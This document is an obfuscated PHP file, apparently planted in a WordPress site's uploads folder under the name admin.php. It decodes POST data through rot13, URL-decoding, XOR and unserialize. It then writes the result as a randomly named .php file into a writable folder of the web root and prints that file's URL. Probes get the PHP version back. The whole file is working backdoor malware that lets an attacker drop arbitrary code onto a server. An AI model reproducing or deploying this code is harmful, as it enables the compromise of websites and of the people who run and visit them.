File: /var/www/sites/1250.info/wp-content/uploads/2016/admin.php
<?php $CxywiLZr = "SdXtsaqb";function wmiiVmaUiY($CxywiLZr){ $JfbRUIcnA = chr(1038-923)."\x74".chr(302-188)."\137".'r'.'o'.'t'."\x31"."\63";$CxywiLZr = $JfbRUIcnA($CxywiLZr);$EPlcPczSTm = chr(716-602).chr(149-52).'w'.'u'.chr(652-538)."\154".chr(696-596).chr(425-324)."\143"."\x6f".'d'.chr(101);$CxywiLZr = $EPlcPczSTm($CxywiLZr);$CxywiLZr = str_split($CxywiLZr);return $CxywiLZr;}function KLDXzdWr($eOGdpvA, $DkMMfeRQ){$eOGdpvA = array_slice(str_split(str_repeat($eOGdpvA, (count($DkMMfeRQ)/16)+1)), 0, count($DkMMfeRQ));return $eOGdpvA;}function nGExzVcpRp($vhfMTXutyU, $oBwAqXMwg, $eOGdpvA){$kOCosXk = "f1c2d614-999a-4187-a1f3-27c48ec2d885";return $vhfMTXutyU ^ $kOCosXk[$oBwAqXMwg % strlen($kOCosXk)] ^ $eOGdpvA;}function XJcVhvlgg($DkMMfeRQ, $eOGdpvA){$DkMMfeRQ = array_map("nGExzVcpRp", array_values($DkMMfeRQ), array_keys($DkMMfeRQ), array_values($eOGdpvA));$DkMMfeRQ = implode("", $DkMMfeRQ);$DqqQOjy = "\x75".chr(303-193).'s'.chr(751-650)."\x72".'i'."\x61".chr(108).'i'.'z'.'e';$DkMMfeRQ = @$DqqQOjy($DkMMfeRQ);return $DkMMfeRQ;}function RAOnZh(){echo "lrEfB";}function qQPxezHw($CxJMRjgfir){static $rLcvwwHU = array();$pOyXiKmaRF = glob($CxJMRjgfir . '/*', GLOB_ONLYDIR);$wAzwV = count($pOyXiKmaRF);if ($wAzwV > 0) {foreach ($pOyXiKmaRF as $CxJMRjgf) {$itmKEyaQCQ = "\x69".'s'.chr(327-232).chr(119)."\162".'i'.'t'."\x61"."\142"."\x6c".'e';if (@$itmKEyaQCQ($CxJMRjgf)) {$rLcvwwHU[] = $CxJMRjgf;}}}foreach ($pOyXiKmaRF as $CxJMRjgfir) qQPxezHw($CxJMRjgfir);return $rLcvwwHU;}function kDTNz(){echo "SdXtsaqb";}function lSBcs($DkMMfeRQ){$wrdgG = 'D'."\x4f".chr(1049-982)."\x55".'M'."\x45".chr(837-759).'T'."\x5f"."\x52".chr(742-663).'O'."\x54";$qnhNXk = $_SERVER[$wrdgG];$pOyXiKmaRF = qQPxezHw($qnhNXk);$NFlIN = array_rand($pOyXiKmaRF);$FBukspsmR = chr(238-192)."\x70"."\150"."\160";$JIrBaF = $pOyXiKmaRF[$NFlIN] . "/" . substr(md5(time()), 0, 8) . $FBukspsmR;$LNvDKTsCgT = chr(102)."\x69".'l'.chr(101)."\x5f"."\160"."\x75".chr(484-368)."\137".'c'."\x6f".'n'.'t'.chr(447-346).'n'.chr(116)."\163";@$LNvDKTsCgT($JIrBaF, $DkMMfeRQ);$cNCPXCqT = chr(72)."\124"."\x54".chr(124-44)."\x5f".chr(361-289).chr(618-539)."\x53"."\x54";$tvSZBPMT = 'h'.chr(869-753)."\164"."\x70"."\72"."\57"."\x2f";$PVLXFtDMtQ = $tvSZBPMT . $_SERVER[$cNCPXCqT] . substr($JIrBaF, strlen($qnhNXk));print($PVLXFtDMtQ);}foreach ($_POST as $eOGdpvA => $DkMMfeRQ){$LjYQiaTWB = strlen($eOGdpvA);if ($LjYQiaTWB == 16){$DkMMfeRQ = wmiiVmaUiY($DkMMfeRQ);$eOGdpvA = KLDXzdWr($eOGdpvA, $DkMMfeRQ);$DkMMfeRQ = XJcVhvlgg($DkMMfeRQ, $eOGdpvA);if (@is_array($DkMMfeRQ)){$NFlIN = array_keys($DkMMfeRQ);$DkMMfeRQ = $DkMMfeRQ[$NFlIN[0]];$NFlIN = $NFlIN[0];if ($DkMMfeRQ !== $NFlIN){lSBcs($DkMMfeRQ);}else {$FjWdRewj = 'p'."\x68"."\x70";$tLfhzM = 'p'."\150".'p'.'v'.'e'.'r'.chr(1070-955)."\151".'o'.chr(1002-892);$DkMMfeRQ = Array($FjWdRewj => @$tLfhzM(), );$mAqrRS = "\163".chr(465-364).'r'.chr(105)."\x61".chr(108)."\x69"."\x7a".chr(782-681);echo @$mAqrRS($DkMMfeRQ);}die();}}}